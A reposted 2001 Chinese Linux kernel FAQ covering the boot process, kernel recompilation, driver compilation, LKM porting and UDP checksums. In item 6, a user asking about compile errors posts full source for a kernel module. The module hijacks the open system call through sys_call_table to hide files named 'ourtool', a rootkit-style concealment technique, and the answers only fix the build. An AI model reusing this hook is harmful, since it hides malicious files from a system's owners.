分享
 
 
 

内核FAQ(2001.05.06~2001.05.16)

王朝other·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

内核FAQ(2001.05.06~2001.05.16)

http://LinuxAid.com.cn axing

返回〗〖转发〗

1、 请问linux的启动过程

2、 未改版本重编译内核后要安装吗?

3、 编译8390.c的一个问题

4、 LKM内核编程问题

5、 sk_buff

6、 在蓝点Linux 2.2.13 上编译可加载内核模块出错

1、请问linux的启动过程

bios读入bootsect.s,bootsect.s读入setup.s和kernel,然后将控制权交给setup.s,然后呢?kernel在引导过程中起什么作用?我知道Loading...是表示bootsect在读入内核,那么其他的信息是进行什么操作的时候出现的呢?还有,rc.sysinit和rc.local在启动中起什么作用?我对linux引导过程还是很糊涂,请那个大哥给我指点迷津,多谢多谢。

setup.S是为启动保护模式前做准备的,目的是建立内核的运行环境,当控制转到head.S中后,工作主要是建立一个4M的页表以及一个什么也干不了的IDT表,并且建立init的堆栈。最后跳转到start_kernel这个c函数中执行。在这里面工作就在前面已经建立的4M内存映射的基础上继续进行更高等的初始化了。

基本流程是:bios->bootsect.S->setup.S->head.S->start_kernel->init-> do_basic_setup->创建init进程。

其他信息大部分在do_basic_setup中打印出来的,主要是各种设备的信息。rc.sysinit和rc.local是在init进程里面被解释执行。主要是创建一些精灵进程和初始化一些网络服务进程。具体的看看相关的脚本文件吧。

2、未改版本重编译内核后要安装吗?

我要在RH6.2装Oracle8i,按照说明需要修改系统内核中的共享内存和段的数值后重新编译,未升级内核。

具体修改shmparam.h中的SHMMAX、SHMMNI、SHMSEG的数值及sem.h中的SEMMSL、SEGMNS、SEMOPM的数值。

重编译过程中用make mrproper正常;运行make config出现许多提示,统统按回车键使用默认值;make dep、make clean、make bzImage都较正常。然后将bzImage复制到/boot目录下,修改/etc/lilo.conf文件内的内容,使image=/boot/bzImage-2.2.14,然后运行lilo,再重新启动。

启动后提示两个错误,其中一个是以太网错,进入linux后网络不能用。

请各位内核高手问:1.以上步骤哪些有错?2.我未升级内核,仅修改部分参数,是否可以不做上述的全过程?3.如何知道系统已经确实按新的SHMMAX等值运行了。

编译内核前,配置时干吗用make config哪,可以用make menuconfig或者make xconfig,要选择网卡驱动。

3、编译8390.c的一个问题

请问如何用gcc编译8390.c 和ne.c 的LINUX内核驱动程序。

试试gcc -O3 -Wall -DMODULE -D__KERNEL__ -DLINUX -c 8309.c(ne.c)

redhat7.O市场反映很不好,存在很多问题,不适合作编程开发,建议用6.2版,或7.1版。

4、LKM内核编程问题

编译的LKM程序在红旗linux下可以编译通过,但在Turbo linux 编译时提示头文件出错. 不知道是何原因,如何处理.

你用的是哪个版本的内核,2。2后的内核应该用copy_from_user代替memcpy_fromfs

5、sk_buff

哪位大侠知道udp包的校验和是在哪个函授里计算并写到sk_buff中的,请指点小弟不胜感激,谢谢。

/usr/src/linux/net/ipv4/udp.c中:

udp_check(....)调用csum_tcpudp_magic计算校验和,你可查看/usr/src/linux/include/asm-i386/checksum.h查看具体的算法 csum是check sum 的一四。

写入sk_buff是在udp_rcv(....)完成的。

6、在蓝点Linux 2.2.13 上编译可加载内核模块出错

原程序如下:

/*hello.c*/

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_open)(const char *pathname, int flag, mode_t mode);

int my_open(const char *pathname, int flag, mode_t mode)

{

char *kernel_pathname;

char hide[]="ourtool";

/*转换到内核空间*/

kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(kernel_pathname, pathname, 255);

if(strstr(kernel_pathname, (char*)&hide ) != NULL)

{

kfree(kernel_pathname);

/*返回错误代码,'file dos not exist'*/

return -ENOENT;

}

else

{

kfree(kernel_pathname);

/*一切OK,这不是我们的工具*/

return orig_open(pathname, flag, mode);

}

}

int init_module(void) /*初始化模块*/

{

orig_open=sys_call_table[SYS_open];

sys_call_table[SYS_open]=my_open;

return 0;

}

void cleanup_module(void) /*卸载模块*/

{

sys_call_table[SYS_open]=orig_open;

}

/*end of hello.c*/

我以超级用户以如下命令进行编译:

gcc -c -O3 hello.c

编译不成功,提示如下信息:

In file included from /usr/include/linux/affs_fs_i.h:5,

from /usr/include/linux/fs.h:270,

from hello.c:14:

/usr/include/linux/time.h:69: warning: `FD_SET' redefined

/usr/include/sys/select.h:63: warning: this is the location of the previous definition

/usr/include/linux/time.h:70: warning: `FD_CLR' redefined

/usr/include/sys/select.h:64: warning: this is the location of the previous definition

/usr/include/linux/time.h:71: warning: `FD_ISSET' redefined

/usr/include/sys/select.h:65: warning: this is the location of the previous definition

/usr/include/linux/time.h:72: warning: `FD_ZERO' redefined

/usr/include/sys/select.h:66: warning: this is the location of the previous definition

In file included from /usr/include/linux/affs_fs_i.h:5,

from /usr/include/linux/fs.h:270,

from hello.c:14:

/usr/include/linux/time.h:9: redefinition of `struct timespec'

/usr/include/linux/time.h:51: parse error before `suseconds_t'

/usr/include/linux/time.h:51: warning: no semicolon at end of struct or union

/usr/include/linux/time.h:88: field `it_interval' has incomplete type

/usr/include/linux/time.h:89: field `it_value' has incomplete type

In file included from /usr/include/linux/fs.h:270,

from hello.c:14:

/usr/include/linux/affs_fs_i.h:11: field `kc_lru_time' has incomplete type

In file included from /usr/include/linux/fs.h:272,

from hello.c:14:

/usr/include/linux/efs_fs_i.h:13: parse error before `efs_ino_t'

/usr/include/linux/efs_fs_i.h:13: warning: data definition has no type or storage class

/usr/include/linux/efs_fs_i.h:49: parse error before `uint32_t'

/usr/include/linux/efs_fs_i.h:49: warning: no semicolon at end of struct or union

/usr/include/linux/efs_fs_i.h:57: parse error before `}'

In file included from /usr/include/linux/coda_fs_i.h:14,

from /usr/include/linux/fs.h:273,

from hello.c:14:

/usr/include/linux/coda.h:109: warning: redefinition of `u_quad_t'

/usr/include/sys/types.h:38: warning: `u_quad_t' previously declared here

In file included from /usr/include/linux/sched.h:13,

from /usr/include/linux/mm.h:4,

from /usr/include/linux/slab.h:14,

from /usr/include/linux/malloc.h:4,

from hello.c:15:

/usr/include/linux/times.h:5: parse error before `clock_t'

/usr/include/linux/times.h:5: warning: no semicolon at end of struct or union

/usr/include/linux/times.h:6: warning: data definition has no type or storage class

/usr/include/linux/times.h:7: parse error before `tms_cutime'

/usr/include/linux/times.h:7: warning: data definition has no type or storage class

/usr/include/linux/times.h:8: parse error before `tms_cstime'

/usr/include/linux/times.h:8: warning: data definition has no type or storage class

In file included from /usr/include/linux/sched.h:14,

from /usr/include/linux/mm.h:4,

from /usr/include/linux/slab.h:14,

from /usr/include/linux/malloc.h:4,

from hello.c:15:

/usr/include/linux/timex.h:159: field `time' has incomplete type

In file included from /usr/include/linux/signal.h:5,

from /usr/include/linux/sched.h:23,

from /usr/include/linux/mm.h:4,

from /usr/include/linux/slab.h:14,

from /usr/include/linux/malloc.h:4,

from hello.c:15:

/usr/include/asm/siginfo.h:48: parse error before `clock_t'

/usr/include/asm/siginfo.h:48: warning: no semicolon at end of struct or union

/usr/include/asm/siginfo.h:48: warning: no semicolon at end of struct or union

/usr/include/asm/siginfo.h:49: warning: no semicolon at end of struct or union

/usr/include/asm/siginfo.h:50: warning: data definition has no type or storage class

/usr/include/asm/siginfo.h:62: parse error before `}'

/usr/include/asm/siginfo.h:62: warning: data definition has no type or storage class

/usr/include/asm/siginfo.h:63: parse error before `}'

/usr/include/asm/siginfo.h:63: warning: data definition has no type or storage class

In file included from /usr/include/linux/sched.h:23,

from /usr/include/linux/mm.h:4,

from /usr/include/linux/slab.h:14,

from /usr/include/linux/malloc.h:4,

from hello.c:15:

/usr/include/linux/signal.h:15: parse error before `siginfo_t'

/usr/include/linux/signal.h:15: warning: no semicolon at end of struct or union

In file included from /usr/include/linux/sched.h:71,

from /usr/include/linux/mm.h:4,

from /usr/include/linux/slab.h:14,

from /usr/include/linux/malloc.h:4,

from hello.c:15:

/usr/include/linux/resource.h:22: field `ru_utime' has incomplete type

/usr/include/linux/resource.h:23: field `ru_stime' has incomplete type

In file included from /usr/include/linux/mm.h:4,

from /usr/include/linux/slab.h:14,

from /usr/include/linux/malloc.h:4,

from hello.c:15:

/usr/include/linux/sched.h:288: field `times' has incomplete type

In file included from /usr/include/linux/mm.h:4,

from /usr/include/linux/slab.h:14,

from /usr/include/linux/malloc.h:4,

from hello.c:15:

/usr/include/linux/sched.h:506: parse error before `siginfo_t'

hello.c:44: parse error before character 0241

hello.c:47: conflicting types for `sys_call_table'

hello.c:16: previous declaration of `sys_call_table'

hello.c:47: invalid initializer

hello.c:47: warning: data definition has no type or storage class

hello.c:48: parse error before `return'

hello.c:51: parse error before character 0241

不知究竟错在何处,希望各位师兄多多指教。'

/*hello.c*/

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

//#include <sys/types.h>

//#include <asm/fcntl.h>

#include <asm/errno.h>

//#include <linux/types.h>

//#include <linux/dirent.h>

//#include <sys/mman.h>

#include <linux/string.h>

//#include <linux/fs.h>

#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_open)(const char *pathname, int flag,..

.....

试一试

您在编译时再加上 -V2.7.2.3 选项试试,我多次遇问题,这样做好象百试百中

责任编辑:axing(2001-06-06 17:48)

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有